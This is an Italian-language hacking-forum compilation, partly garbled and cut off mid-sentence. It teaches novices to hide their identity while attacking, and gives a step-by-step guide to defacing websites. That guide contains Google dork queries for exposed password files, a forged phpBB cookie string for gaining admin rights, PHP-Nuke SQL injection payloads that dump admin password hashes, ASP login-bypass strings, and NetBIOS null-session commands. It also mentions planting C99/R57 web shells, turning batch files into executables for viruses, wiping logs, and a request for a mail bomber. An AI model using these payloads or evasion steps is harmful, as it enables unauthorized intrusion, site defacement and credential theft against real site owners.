1.2.3.4 (di solito su internet questo e' vero, sulle reti locali il
discorso e' diverso). E' per questo che solo il client che possiede il
giusto IP sara' in grado di vedere la risposta spedita dal server,
contenete il numero pseudo-casuale.
Con tecniche di IP spoofing si riesce facilmente a falsificare l'indirizzo IP di una macchina?
In
altre parole: Se faccio il traceroute dell'indirizzo finto, dovrei
comunque riuscire a risalire la catena dei router attraversati fino al
finto, oppure risalgo la catena fino all'IP vero?
Si fa il
traceroute VERO dell'indirizzo FINTO. In teoria, se i vari routers
avessero un po' di ingegno, non si potrebbe fare neanche spoofing (o
quasi).
In pratica puo' succedere questo:
A(F) ---> B ---> C ---> D
/
F ---> E --->--+
A
ti manda un pacchetto fingendosi F. B, che controlla la sottorete A, ed
in teoria non dovrebbe veder passare pacchetti DA F verso "NON A",
invece passa questo strano pacchetto "F verso D". Lo stesso fa C, che
"dovrebbe" vedere arrivare i pacchetti di F solo da E (ma C non puo'
sapere se F sia anche collegato o no a B). D si vede arrivare un
pacchetto da un certo "F" che arriva da "C", di cui si fida e che in
passato gli ha mandato pacchetti veri di F.
Un traceroute D-->F rivela: D, C, E, F ... B e A sono rimasti fuori.
E'
possibile naturalmente sapere se F stia originando una connessione con
D. A non puo' impedirlo. Pero', sapere che quel pacchetto "F->D" e'
spoofato non ti fa trovare A.
Diversi Metodi per rimanere ANONIMI in rete!:
0x00.0 ANONIMATO
================
Prima di effettuare qualsiasi operazione e'necessario sapere come nascondersi
nella Rete. Questo non garantira' l'anonimato completo, ma rendera' piu'
difficile il compito di chi deve trovarci.
In questo articolo, esplicitamente rivolto ai newbbissimi, prenderemo in
considerazione tutti i passaggi di una connessione Internet, dalla chiamata
telefonica ai diversi "rimbalzi" sugli host della rete.
Prima di effettuare qualsiasi tipo di "esperimento" consiglio di leggere
completamente il documento, compresa la sezione "Pericoli".
0x00.1 CLI & BIC
----------------
Dove CLI sta per "Caller Line Identification" e BIC per "Blocco identificazione
chiamante". Chiaramente stiamo parlando del collegamento telefonico. Il primo
passo verso Internet e' la connessione dial-up con l'ISP (Internet Service Provider)
Da alcuni mesi e' disponibile anche in Italia il CLI, ovvero l'invio del numero
del chiamante; questo significa che chi riceve la vostra chiamata e' in grado
di vedere in tempo reale il numero del chiamante.
Per evitare che questo avvenga, e' disponibile il "Blocco identificazione chiamente",
che disabilita (parzialmente) questa possibilita'.
Mettendo il numero 1793 (o *67#) davanti al numero da chiamare, si inibisce
la possibilita' di visualizzare il nostro numero sul display del ricevente,
ma non l'invio dello stesso alla centrale Telecom; questo significa che
comunque sui tabulati della telco sara' registrata la telefonata dalla vostra
utenza all'ISP, quel giorno a quell'ora...
0x00.2 Account falsi
--------------------
Scenario: voi state "hackerando" con l'account dell'abbonamento che vi hanno
regalato; vi siete registrati con il vostro nome (Mario Rossi) e vi siete
collegati al computer del Pentagono... il sysadmin si accorge di un ip strano
collegato al sistema (il vostro ip!), esegue un traceroute sul vostro ip,
prende nota del penultimo hop e si collega sulla porta 79 di quell'host
(il vostro gateway):
users online
---------------
mrossi@tin.it 212.216.200.123
Mezz'ora dopo l'FBI e' a casa vostra e suona il campanello...
Questa storiella ci insegna che non e' buona abitudine hackerare con l'abbonamento
che abbiamo registrato con il nostro nome e i nostri dati anagrafici.
Da quando sono nati i free-internet provider (Libero,Tiscali) la situazione e'
alquanto migliorata (non che prima fosse fosse molto piu' complicata...); si
possono creare fake-account a volonta', utilizzando un generatore di
identita'(tipo quello di Cavallo de Cavallis).
Naturalmente per effettuare l'abbonamento on-line, si dovranno rispettare alcune
regole auree: una l'abbiamo gia' vista, ovvero la "disabilitazione" del CLI
mettendo il numero 1793 prima del numero da chiamare, l'utilizzo di proxy.
0x00.3 Proxy
------------
Uno dei problemi principali del newbie e del wannabe e' come nascondere o
cambiare il proprio ip durante la navigazione o per entrare in IRC.
I browser (Explorer, Netscape) prevedono l'uso di "proxy", ovvero computer che
si frappongono tra noi e il resto della rete; quando cerchiamo di recuperare
una pagina sul web, il nostro browser contattera' il proxy, e sara' quindi
quest'ultimo a "prelevare" il documento html e a inviarlo a noi; vantaggio di
questa operazione e' che l'ip loggato dal server di destinazione (dove
abbiamo prelevato la pagina) sara' quello del proxy e non il nostro.
Attenzione pero': non tutti i proxy sono anonimi. Questo significa che in alcuni
casi il proxy lascia "filtrare" il nostro ip reale che restera' nei log del
server. Prima di usare un proxy, ci si doverebbe sempre assicurare che si tratta
di un proxy anonimo che non rivela il nostro ip. Questo testo puo' essere
effettuato collegandosi a
che fa un test sul grado di anonimato del nostro sistema.
Comunque anche utilizzando un proxy anonimo non vi dovete sentire sicuri, anzi.
Sarebbe opportuno concatenare due o piu' proxy prima di collegarsi al vero
obbiettivo. Come ? Innanzitutto questa tecnica funziona solo con alcuni tipi
di proxy, i Delegate; quando avete trovato alcuni Delegate, dovete mettere
nella barra del browser la seguente stringa:
http://proxy1.url:port/-_-http://proxy2.url:port/-_-
dove proxy1,proxy2 e proxy3 sono gli indirizzi dei proxy Delegate che avete trovato.
Ricordate: piu' proxy mettete, piu' diminuiscono le probabilita' di essere
rintracciati, ma aumenta anche il tempo di latenza, rallentando la
navigazione.
Ma anche i proxy loggano...
0x00.4 Socks
------------
Nelle reti protette da firewall gli host interni entrano in Internet attraverso
un servizio speciale: Socks.
Questo protocollo la cui porta di default e' la 1080, permette alle applicazioni
che lo supportano di collegarsi a Internet in modo indiretto, con il firewall
che fa da tramite. Il principio e' lo stesso del proxy per http, ma il range
di applicazioni e' piu' vasto. In pratica ogni applicazione che supporta Socks,
puo' collegarsi a Internet tramite Socks. Il vantaggio e' come al solito che
l'ip che appare non e' piu' il nostro ip reale, ma quello del firewall; inoltre
nuke & DoS vari del lamer di turno saranno diretti al firewall, lasciando
del tutto indifferente la nostra macchina!
L'utilizzo dei Socks e' classico nel mondo di IRC, ma puo' essere utilizzato
anche con altre applicazioni; Volete proprio usare il Netbus? Ok, ma almeno
non fatevi beccare subito con il vostro ip vero... usate un Socks. Volete
fare del port-surfing manuale con il Telnet? Usate Socks...
Certo, non tutti i programmi prevedono l'uso di Socks (per esempio, il Telnet di
serie di Windows non lo supporta), ma grazie a un programma tipo SocksCap si
puo' fare in modo che TUTTI i programmi di rete (compreso il Telnet standard di
Windows) possano collegarsi in modo "anonimo". In questo modo e' possibile
anche inviare email tramite Outlook o Eudora senza la paura di esporre il
nostro ip reale, ma quello per esempio di un computer del governo di Taiwan...
0x00.5 Wingate
--------------
Wingate e' un porgramma per Windows che permette di collgare piu' macchine
tramite una sola connesisone Internet, tramite le funzioni di proxy http,
Socks, proxy ftp, telnet...
In Internet si trovano molti Wingate mal configurati che permettono l'accesso
anche a utenti non autorizzati (noi!). Il meccanismo e' quello visto il precedenza
per i proxy e i Socks (ovvero l'ip che viene lasciato in giro e'quello del
Wingate e non il nostro), ma ha una modalita' di utilizzo diversa.
Lanciate il Telnet e collegatevi alla porta 23 del Wingate, se tutto e' Ok
avrete un prompt del genere:
Wingate>
a questo punto mettete l'indirizzo dell'host al quale vi volete collegare, segutio
dal numero di porta:
Wingate>bill.whitehouse.gov 23 (Naturalmente sto scherzando: lasciate stare i
.gov...)
a questo punto il vostro ip e' al sicuro (relativamente, come sempre).
Anche nel caso dei Wingate e' buona norma concatenare piu' Wingate tra di
loro, cosi:
quando avete il prompt del Wingate (Wingate>) inserite l'indirizzo di un altro
Wingate,e poi un altro... infine l'indirizzo dell'host da attaccare.
Certo aumenta il lag, ma e' sempre meglio che andare in galera...
0x00.6 Trovare Proxy, Socks & Wingate
-------------------------------------
Altro problema annoso del novello "hacker": dove li trovo i proxy & i Wingate ?
Esistono diversi modi per procurarsi questi indirizzi. Il piu' immediato
(e il meno redditizio) e' quello di andare su uno di quei siti che pubblicano
liste di proxy e socks (proxy4all.cgi.net, la sezione apposita in
o non funzionano affatto... Conviene arrangiarsi in altro modo.
Procuriamoci uno scanner e lanciamolo in giro x la rete, prima o poi qualcosa
troviamo.
Per informazione, le porte su cui trovare qualcosa sono le seguenti:
8080 proxy http
3128 proxy http
81 proxy http
1080 Socks
Un altro modo efficace x trovare Socks e' quello di entrare in IRC e dare il
comando
/stats k
per avere la lista dei k-line, ovvero la lista di host "bannati". Molti host
della lista saranno Socks bannati da quel server ma perfettamente funzionanti
x altri scopi!
Siete pigri e non avete voglia di cercare? Aspettate che i Socks vengano a voi!
Lanciate il Nukenabber e navigate tranquillamente (oppure andate su un canale
molto frequentato in IRC); Alla fine della serata date uno sguardo al log del
Nukenabber: tra i vari tentativi di lamer con BO & Netbus, forse ci sara' anche
qualche indirizzo di Socks utilizzabile...
Altre tecniche potete trovarle nel mio articolo "Gabole nella Rete", reperibile
sul mio sito e sul numero 0 di "Lightz".
0x00.7 Pericoli
---------------
Per iniziare bisogna dire che NESSUNA tecnica qui esposta garantisce l'anonimato
assoluto, esiste sempre un margine di pericolo.
Dal momento della connessione dial-up con il provider alla connessione tramite
TCP/IP in Internet, lasciamo un mare di tracce ovunque.
La compagnia telefonica ha sempre e comunque il nostro vero numero, anche se
usiamo il BIC. I vari proxy che usiamo molto probabilmente (anzi, sicuramente)
loggano tutto il traffico, cosi'come i Socks: forse c'e' qualche speranza con
i Wingate. Assolutamente da evitare gli host "boservizzati" o cmq "trojanizzati".
Forse il metodo piu' sicuro e' quello di essere root su di un sistema e avere la
la possibilita' di "ripulire" per bene i log.
Da non dimenticare poi la possibilita' di mettere nei guai gli ignari possessori
di host compromessi (ancora una volta: trojan e backdoor varie) o i responsabili
dei sistemi che usiamo per "rimbalzare" (Wingate, proxy...).
0x00.8 Fonti
------------
Faqtel per le info sul CLI.
Genesis per la concatenazione dei proxy Delegate.
La lettura di un po' di manuali (RTFM!).
Convertire file Bat in file Exe (per i vostri virussini):
scaricate i programmi:
Bat2Com ed Exe2Com2Exe
Una volta scaricati estraeteli in una cartella,ora inserite il file bat nella cartella del programma Bat2Com ed aprite il prompt di ms-dos(Start-Esegui-Cmd)
Ora spostatevi nella directory dove risiede il programmino Bat2Com e anke il file Bat con il comando "Cd",esempio:
Cd Cocuments and SettingsUserDesktopBat2Com
Oppure quando aprite il prompt vi ritrovate con gia inserito il percorso Cocuments and SettingsUser e quindi dovrete solo scrivere:
Cd DesktopBat2Com
ATTENZIONE!DOVE HO INSERITO USER DOVRà ESSERE IL VOSTRO USER!
Ora,una volta ke ci siamo spostati dal Prompt nella cartella Bat2Com scriviamo:
Bat2com.com FileBat.bat
Dove c'è FileBat.bat sarà il nome del vostro file in Bat!
Adesso nella cartella vi apparirà il vostro file bat ma con estensione .COM!
Ora,portate il file .COM nella directory di Com2Exe2Com(Si chiama di solito C2E_E2C)e fate lo stesso procedimento,da Prompt spostatevi nella directory C2E_E2C e scrivete:
C2E.COM FILEBAT.COM
Dove c'è filebat.com sarà il file che vi è stato trasformato in .COM dal programma Bat2Com!
Ora nella cartella vi apparirà il vostro programmino ma con estensione .EXE!!!!!
Adesso avrete il vostro programmino in .exe(Secondo me lo userete + x i virus ma cmq ^^")
ED ORA UNA GRANDISSIMA GUIDA AL DEFACE :
{PREFAZIONE}
##################################################################################
#In questa guida spiegherಠdiverse tecniche per defacciare un sito in diverse #
#situazioni! #
#All'inizio studieremo le pi๠banali vulnerabilità nel caso le trovaste ma pi๠#
#avanti si comincia con i metodi DRASTICI se nel caso queste piccole vulnerbilità #
#non funzionino #
##################################################################################
{CAPITOLO 1}
Prima di cominciare con la Pratica ovviamente ci tocca la Teoria!
Prima di tutto dovete sapere cosa significa DEFACE!
Deface significa in parole semplici HACKERARE UN SITO!
Questo è possibile grazie allo sfruttamento di BUG e di alcune tecniche
che andrಠa spiegare DOPO!
In questa guida infatti vedremo come comportarci nelle diverse situazioni!
Utilizzeremo:Proxy,Exploit,GoogleHacker!
Tutto Spiegato!
Adesso mettiamoci all'opera!
In ogni Deface dovete sapervi PROXARE!
Nel Secondo capitolo studieremo proprio Questo!
Buona Lettura a tutti da Crashinside =)
{CAPITOLO 2}
In questo capitolo studieremo come PROXARCY!
Proxarcy deriva da PROXY!
Il proxy è un modo per camuffare il nostro IP dietro un altro così in rete quando
tenteremo un attacco non apparirà il nostro vero IP!
Per fare ciಠconsiglio di scaricare il programma "TOR"
(disponibile su
Una volta scaricato avviamo l'installazione e spuntiamo
le caselle TOR e PRIVOXY che ve lo chiederà quando dovrete scegliere
i componenti da installare!
Ora,andate in C:ProgrammiTor e avviamo tor.exe
Vi dovrebbe apparire una schermata di DOS.
Ora andiamo in C:ProgrammiPrivoxy e avviamolo!
Si dovrebbe chiudere la schermata di DOS e ora andando nel Browser
e poi nelle opzioni PROXY inserire
HTTP Proxy: localhost
Port: 8118
Ora,aggiorniamo il Browser e andiamo su
un ip che non è nostro!
Bene!Adesso noteremo la connessione ultra lenta!Pultroppo i proxy sono così!
VORREI RICORDARE UNA COSA!
SE SIETE PROXATY E TENTATE AD ESEMPIO DI ENTRARE IN MSN NON VI FARà ENTRARE!
DOVRETE PRIMA DISATTIVARLI!
Ok,ora la nostra lezione sul Proxy è finita!
Adesso si fa sul serio!Ci vediamo nel prossimo capitolo
{CAPITOLO 3}
In questo capitoletto parleremo del GOOGLE HACKER!
E cioè???
Cioè che in questo capitolo vedremo come sfruttare GOOGLE
in un altro modo =)
Infatti inserendo alcune STRINGHE chiamate QUERY
potremo scovare SITI VULNERABILI,PASSWORD e tanto altro!
Io vi posto le Query pi๠comuni,e vi spiegherಠdue comandini
molto utili!
Vi serve solo un pizzico di fantasia per ottenere tutto ciಠche volete ;)
ECCO LE QUERY:
allinurl:admin.php site:.edu
Filetype: trova archivio .pdf, .ps, .doc, .xls, .txt, .ppt, .rtf, .asp, .wpd...
"Index of /admin"
"Index of /root"
"Index of /password"
"Index of /" +passwd
allintitle: "index of/admin"
allintitle: restricted filetype:doc site:gov
intitle:"index of private"
allinurl:auth_user_file.txt
intitle:"Index of" config.php
intitle:index.of.etc
filetype:xls username password email
intitle:"Index of" ".htpasswd" "htgroup" -intitle:"dist" -apache -htpasswd.c
intitle:"Index of" ".htpasswd" htpasswd.bak
inurl:config.php dbuname dbpass
intitle:"Index of" master.passwd
intitle:"Index of" .mysql_history
intitle:"index of" trillian.ini
intitle:"Index of" spwd.db passwd -pam.conf
intitle:"Index of" pwd.db
intitle:"Index of" secring.bak
intitle:"Index of" "people.lst"
intitle:"Index of..etc" passwd
intitle:"Index of" passwd passwd.bak
intitle:index.of passlist
intitle:"Index of" .bash_history
intitle:"Index of" .sh_history
site:edu grades admin
filetype:htaccess basic
intitle:"Index of" finances.xls
"This report was generated by WebLog"
"phpinfo.php" –manual
intitle:Index.of robots.txt
intitle:"Index of" _vti_inf.html
intitle:"Index of" service.pwd
intitle:"Index of" shtml.dll
intitle:"Index of" shtml.exe
intitle:"Index of" fpcount.exe
intitle:"Index of" default.asp
intitle:"Index of" htimage.exe
intitle:"Index of" default.asp
intitle:"Index of" AT-admin.cgi
intitle:"Index of" glimpse
intitle:"Index of" guestbook.cgi
intitle:"Index of" perl
intitle:"Index of" show
intitle:"Index of" index.html~
intitle:"Index of" stats.html
inurl:shop "Hassan Consulting's Shopping Cart Version 1.18"
intitle:"Welcome to Windows 2000 Internet Services"
intitle:"Welcome to IIS 4.0"
"powered by openbsd" +"powered by apache"
"Powered by phpBB 2.0.0"
Le Query ALLINURL: e INURL: vi serviranno
se volete ricevere nelle vostre ricerche
i LINK contenete l'indirizzo che cercate allora
queste fanno a caso vostro!
Quindi se volete ad esempio scovare il modulo
login dell'admin(in siti ASP che vedremo pi๠avanti)
utilizeremo in google:
Allinurl:/admin.asp
Inurl:/admin.asp
Ecc...
Spero di essere stato Chiaro!
Andiamo al prossimo capitolo dove cominceremo a fare sul serio ;)
{CAPITOLO 4}
Ok,in questo capitolo cominciamo a imparare una Tecnica!
Roba facile
Infatti ci occuperemo di Defacciare Forum PhpBB sfruttando
un semplice BUG ovvero cambiando il codice GUEST in QUELLO ADMIN
nel file dei COOKIES
A,una cosa...non andate in crisi se non trovate forum vulnerabili
dato che al giorno d'oggi non ce ne sono tantissimi!
Potrete sempre usare il programma PHPBB DEFACER(disponibile nella sezione DOWNLOAD)
Per defacciare forum phpbb inferiori alla versione 2.0.10
Cominciamo Subito!
Ora in questo capitolo traccerಠtutti i passaggi per defacciare i forum PHPBB
1)Andate su un motore di ricerca google o
altavista(consiglio altavista perchè trova + pagine di google quindi pi๠possibilita
di trovare un forum vulnerabile)quindi prendiamo in esempio altavista
2)Nella ricerca scrivete: Powered By Phpbb 1.0.12
3)Ora cercate un forum vi spiego un trukketto,vedete il link quello con + probabilita di defacing
sn qll ke nel link hanno ad es:
e rimanete /index.php per arrivare alla pagina iniziale del forum!
4)Andate in Cocuments and SettingsUSERDati applicazioniMozillafirefoxLettereNumeri*(leggete in basso)
*=Dp firefox troverete una serie di lettere e numeri a random xco ogni cartella è diversa,ovviamente in
qst esempio abbiamo preso in esame il BROWSER MOZILLA!
5)Una volta entrato nella cartella clikkate su COOKIES.TXT fate ALT+T e inserite nella ricerca il nome
del sito ke volete defacciare xke in pratica qnd avete aperto il forum php per
l'identificazione vi ha registrato i cookie!
6)Una volta trovato controllate se vi appare una stringa tipo qst:
phpbb2mysql_data se ce l'ha il forum puo essere vulnerabile,dipende tutto dal codice Guest ke troverete
affianco,di solito è: a%3A07Bma puo essere anke diverso!
7)Una volta individuato il codice guest inserite al posto del codice questa
STRINGA:
##################################################################
#a%3A27Bs%3A1122autologinid%22%3Bb%3A1%3A622userid%22%3A1222%227D#
##################################################################
(Piccola parentesi,se al posto del codice GUEST troverete questa stringa,nn si fa niente,il forum nn è vulnerabile!)
8)Ora salvate i cookie(nn clikkate sulla [X] per uscire e fare salva xke mi è capitato d nn salvarmeli quindi FILE,SALVA)
9)Kiudete tt le pagine del browser ke avete,tutte quante altrimenti vi riportera i
cookie cm erano prima!(Naltra parentesi nn fate aggiorna xke nn funziona xD)
10)Riaprite il forum e dovreste essere ADMIN!
P.S nn sempre vi mette admin anke se trovate la data e il codice guest nn significa niente!
Volevo darvi un consiglio,se nel caso entrate cm admin e x caso nn vi esce il pannello admin 2 sn i motivi:
1)L'admin per sicurezza ha creato 1 account admin senza possibilita di entrare nel pannello o qlk del genere
2)Il pannello è nascosto(A ME è CAPITATO)!
Questa era una guida che avevo scritto gia e che potrete trovare sul mio sito!
Passiamo subito al prossimo capitolo =)
{CAPITOLO 5}
Adesso faremo finta di trovare un sito che vogliamo Hackerare!
Facciamo finta che il sito sia
Ora se il sito è in PHP-NUKE proxandoci
proviamo ad iniettare un SQL-INJECTION!
Ad esempio se il sito ha il motore di RICERCA potremmo iniettare SQL-INJECTION in questo modulo!
Ma,cosa è questo SQL-INJECTION?
L'Sql-Injection è un iniezione di codice e utilizzandolo
potremo riuscire a rubare Password hashate in MD5 ovviamente
contro la volontà del sito!
Ok,dopo questa piccola teoria sull'sql-injection inseriamo il seguente
CODICE(SQL-INJECTION) nel motore di ricerca:
############################################################################
#p0hh0nsee%') UNION ALL SELECT 1,2,aid,pwd,5,6,7,8,9,10 FROM nuke_authors/*#
############################################################################
Ovviamente senza i "#"
Adesso se il nostro SQL-INJECTION è andato a BUON FINE ci ritroveremo
uno o pi๠password hashate in MD5 tanto quanto sono gli ADMIN,in pi๠sotto
ci sarà scritto una cosa tipo "CONTRIBUTO DI ZAK" questo ZAK sarà proprio
l'username-admin che utilizzeremo per loggare con la sua password che ora è hashata!
Le password per riconoscerle sono fatte da NUMERI e LETTERE insieme
tipo come se fosse una STRINGA!
Adesso vi chiederete:
Ok,abbiamo sta password HASHATA ma non possiamo LOGGARE dato che è CRIPTATA
Che si fa??????
Bhè potremmo provare a DECRIPTARLA no?
Basta prendere un programmino come MD5 o CAIN & ABEL
(Tutti disponibili su
inserire l'hash e decriptarlo!
Una volta decriptato basta andare nel modulo di login dell'admin(di solito /admin.php)
inseriamo username inseriamo quello che abbiamo trovato sotto la password
hashata,ovvero dove abbiamo trovato: "CONTRIBUTO DI ZAK"(ZAK è un PURO ESEMPIO!)
Adesso siamo entrati come ADMIN!
Ma,se non fosse Così?ad esempio,se non c'è il modulo SEARCH?
Bhè se non c'è possiamo provare a fare una cosa...
Andiamo ad esempio nel modulo DOWNLOAD
Notiamo l'indirizzo,ad esempio potremo trovare:
Se al posto di name=Download inseriamo "name=Search"
Se non si apre niente proviamo a mettere:
Se non ve lo apre o dice MODULO NON ATTIVO,con il search non si fa nulla!
Proviamo con la TOP10!
Il link della top10 è:
Facciamo la stessa cosa per il Search nel caso non ci fosse nella home il modulo Top10
Inseriamo affianco alla stringa modules.php?name=Top
il seguente SQL-INJECTION(SEMPRE DA PROXATY)
####################################################################################
#&querylang=%20WHERE%201=2%20UNION%20ALL%20SELECT%201,pwd,1,1%20FROM%20nuke_authors#
####################################################################################
Ora,nella parte dei SONDAGGI(mi sembra)dovreste trovare le Password Hashate!
Fate lo stesso procedimento di sopra e loggate come ADMIN!
VORREI RICORDARE UNA COSA:
AVVOLTE DOPO INIETTATO UN SQL-INJECTION POTREBBE USCIRE UN IMMAGINE CHE DICE
CHE VERRà CONTATTATA LA POLIZIA FBI O ROBA SIMILE!
NON SPAVENTATEVI,è SOLO PER SPAVENTARE
Ora,andiamo al capitolo successivo dove impararete a defacciare un sito in ASP!
{CAPITOLO 6}
In questo capitolo spiegherಠcome Defacciare siti in piattaforma ASP!
Questo è pi๠semplice!
Ammettiamo il caso che il nostro caro sito(
sia in ASP,come si agisce?
Semplice,si tenta un ASP-INJECTION nel modulo di login admin!
Di solito è
Se non è così provate a cercare su GOOGLE: ADMIN SITOVITTIMA.IT o qualcosa
del genere,per far trovare il modulo di login dell'admin!
Ora iniettiamo l'ASP-INJECTION{L'ASP INJECTION è UGUALE ALL'SQL-INJECTION
SOLTANTO CHE OVVIAMENTE I CODICI SARANNO DIVERSI}
inserendo:
Username: admin
Password: ' or '
Adesso,dovrebbe entrarvi come admin!
Se non fosse così,bhè vediamo nei capitoli dove utilizzeremo
del deface avanzato!
Ora passiamo al prossimo Capitolo!
{CAPITOLO 7}
Bene,siamo giunti anche a questo capitolo
Ok,allora cominciamo subito!
Abbiamo tentato l'SQL-INJECTION ma non è andato
abbiamo tentato ASP-INJECTION e manco,allora che si fa?
Si usano metodi Drastici =D
Come si suol dire: "A MALI ESTREMI,ESTREMI RIMEDI" xD
Ok,abbiamo fatto la battuta mo vogliamo vede che dobbiamo fa?
Allora in questi casi se abbiamo fallito con asp e sql injection
Prima di tutto,prendiamo l'ip del sito da Defacciare,facendo finta che il sito sia
Apriamo il Prompt di Ms-Dos:
START-ESEGUI e scriviamo CMD
Ora scriviamo:
nslookup sitovittima.it
Il prompt risponderà :
Server: ns017dns.fastweb.it
Address: 62.101.81.80
Risposta da un server non di fiducia:
Nome: sitovittima.it
Addresses: 127.0.0.1
Ovviamente l'ip e il sito sono falsi quindi ho messo 127.0.0.1 come esempio :P
ora,noteremo che appariranno due IP!
Prendiamo il secondo IP,ovvero l'ip del sito!
Ora,ci potrebbe essere molto utile fare un WHOIS!
Piccola parentesi su cosa è il WHOIS:
Con il whois è possibile prendere i dati di registrazione al dominio del sito:
ad es:
l'admin ha dovuto dare i propri dati,e quindi facendo un whois è possibile ricavare:
nome,cognome,indirizzo e tanto altro ancora!
Ora,effettuiamo il WHOIS da questo sito:
Bene,ora prendiamo un BUON PORT SCANNER(nella sezione Download potete prendere ad es RETINA!)
Facciamo uno scanner e così individueremo tutti i servizi sfruttati dal server!
Ad esempio ci uscirà :
21 [Ftp => File Transfer Protocol] 220 BulletProof FTP Server ready ...
22 [OpenSSH 3.1]
80 [Http => World Wide Web, HTTP]HTTP/1.1 400 Bad Request Server: Microsoft-IIS/5.1
135 [epmap => DCE endpoint resolution]
139 [Netbios-ssn => NETBIOS Session Service]
443 [HttpS => Secure HTTP]
445 [Microsoft-Ds]
Adesso si Attacca!
Per attaccare,vediamo se il sito è vulnerabile a qualche vulnerabilità tipo:
Xss,Remote File Include,Sql-Injection,Asp-Injection e così Via(TUTTE TECNICHE SPIEGATE IN GUIDE HACKER)
Se non è vulnerabile potremo provare utilizzando i famicerati EXPLOIT!
Andiamo su siti per Exploit e Vulnerabilità tipo:
Adesso cerchiamo un exploit adatto ai dati presi,ovvero ai servizi sfruttati(CON IL PORTSCANNER) e al sistema operativo(DAL WHOIS)
e cominciamo a cercare un bel exploit!
Ora avviamo l'exploit,se funge Ok,ma se non funge potremo vedere ad esempio se il sito ha la porta 139 APERTA!
Ovvero quella di Netbios!
Se è così apriamo il prompt di ms-dos e scriviamo questo codice:
NET USE 192.10.10.1IPC$ "" /u:""
Se vi risponderà :
Esecuzione Comando Riuscita
Abbiamo effetuato una NULL SESSION
Piccola parentesi sulla NULL SESSION:
La NULL SESSION è una connessione stabilita sul netbios
senza essere registrati o altro!
Adesso vediamo i servizi publici del nostro amichetto Mr. Green
Scriviamo nel Prompt:
net view 127.0.0.1
Ci risponderà :
Risorse condivise su 127.0.0.1
Nome condivisione Tipo Utilizzato come Commento
-------------------------------------------------------
winnt Disco
SharedDocs Disco
Personale Disco
Esecuzione comando riuscita.
Bhè non dimentichiamoci che abbiamo trovato la porta 80 con il servizio
IIS!
Con questo servizio è possibile sfruttare una vulnerabilità per accedere a tutte
le directory!
Scriviamo nella barra indirizzi del browser uno dei seguenti "EXPLOIT"
Altrimenti se ha la porta 139 aperta
sempre su MILW0RM o SECURITYFOCUS troviamo degli exploit o bug per la 139!
Oppure,utilizzare il metodo per entrare nei FILE CONDIVISI
(c'è la guida ENTRARE IN UN HARD DISK TRAMITE NETBIOS nella sezione GUIDE HACKER)
{CAPITOLO 8}
In questo capitolo utilizzeremo il bug del REMOTE FILE INCLUDE!
Quindi utilizzeremo una SHELL:
Tra le pi๠famose troviamo la C99 e la R57!
Nella sezione DOWNLOAD-PROGRAMMI HACKER E UTILITY le trovere 8)
Io consiglio la C99!
Facciamo un po di Teoria =)
######################################################################
#La C99 è una shell fatta in PHP,che hostandola su un FTP e poi #
#sfruttando il BUG dell'autoiniezione (che ne parleremo pi๠avanti)la#
#iniettate in 1 sito vulnerabile e vi ritroverete d'avanti co
Mi potete fornire un mail bomber FUNZIONANTE ?? GRAAAAAAAAZIE
Guide :
Defacciare un sito in phpbb (su certi forum funge su altri no...):
1)Andate su un motore di ricerca google o altavista(consiglio altavista perchè trova + pagine di google quindi pi๠possibilita di trovare un forum vulnerabile)quindi prendiamo in esempio altavista
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
2)Nella ricerca scrivete: Powered By Phpbb 1.0.12
3)Ora cercate un forum vi spiego un trukketto,vedete il link qll cn + probabilita di defacing sn qll ke nel link hanno ad es:
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
oppure Perfavore,
Entra
oppure
Registrati
per vedere i Link!
ecc qnd trovate la 2 opzione cancellate ?members e rimanete /index.php per arrivare alla pagina iniziale del forum!4)Andate in C
ocuments and SettingsUSERDati applicazioniMozillafirefoxLettereNumeri*(leggete in basso)*=Dp firefox troverete una serie di lettere e numeri a random xco ogni cartella è diversa,ovviamente in qst esempio abbiamo preso in esame il BROWSER MOZILLA!
5)Una volta entrato nella cartella clikkate su COOKIE.TXT fate ALT+T e inserite nella ricerca il nome del sito ke volete defacciare xke in pratica qnd avete aperto il forum php per l'identificazione vi ha registrato i cookie!
6)Una volta trovato controllate se vi appare una stringa tipo qst:
phpbb2mysql_data se ce l'ha il forum puo essere vulnerabile,dipende tutto dal codice Guest ke troverete affianco,di solito è: a%3A07Bma puo essere anke diverso!
7)Una volta individuato il codice guest inserite al posto del codice questa
STRINGA:
a%3A27Bs%3A1122autologinid%22%3Bb%3A1%3A622userid%22%3A1222%227D
(Piccola parentesi,se al posto del codice GUEST troverete questa stringa,nn si fa niente,il forum nn è vulnerabile!)
8)Ora salvate i cookie(nn clikkate sulla [X] per uscire e fare salva xke mi è capitato d nn salvarmeli quindi FILE,SALVA)
9)Kiudete tt le pagine del browser ke avete,tutte quante altrimenti vi riportera i cookie cm erano prima!(Naltra parentesi nn fate aggiorna xke nn funziona xD)
10)Riaprite il forum e dovreste essere ADMIN!
P.S nn sempre vi mette admin anke se trovate la data e il codice guest nn significa niente!
Volevo darvi un consiglio,se nel caso entrate cm admin e x caso nn vi esce il pannello admin 2 sn i motivi:
1)L'admin per sicurezza ha creato 1 account admin senza possibilita di entrare nel pannello o qlk del genere
2)Il pannello è nascosto,cm mi è capitato gia!
Bene,prima di salutarvi voglio ricordarvi ke lo scopo del defacing nn è distruggere interi FORUM ma creare 1 sezione e inserire come l'admin possa risolvere questa falla e quindi proteggersi!
DEFACCIARE SITI IN PHPNUKE:
1)Andate sempre in un motore di ricerca(GOOGLE,o ALTAVISTA)
2)Cercate:
"Powered By PhpNuke"
(con le virgolette)
3)Andate nel sito e poi nella sezione Cerca oppure Cerca Nel Sito
4)Inserite questa stringa:
p0hh0nsee%') UNION ALL SELECT 1,2,aid,pwd,5,6,7,8,9,10 FROM nuke_authors/*
5)Vi dovrebbero uscire tutte scritte strane piene di numeri e lettere!Copiate qll fatto dall'admin e crakkate la password cn un programma x crakkare tipo,MD5 o Cain & Abel Disponibile nella sezione programmi!
6)Andate nel sito inserite User e Pass dell'admin e avrete accesso all'admin
Defacciare siti in ASP :
1)Andate sempre in un motore di ricerca(GOOGLE,o ALTAVISTA)
2)Cercare:
admin.asp
oppure:
login.asp
Accederete(nel 1caso) al pannello di login dell'admin!
Se invece troverete il 2caso è uguale!
Ora nel pannello di login inserite i seguenti dati:
CODICE
User : admin
Password : ' or '
Se nn funziona provate cn:
User: "OR"="
Password: "OR"="
Rispettate sia nel 1 ke nel 2 caso lettere maiuscole e minuscole e inserite TUTTO QUELLO CHE C'è VIRGOLETTE ECC!!
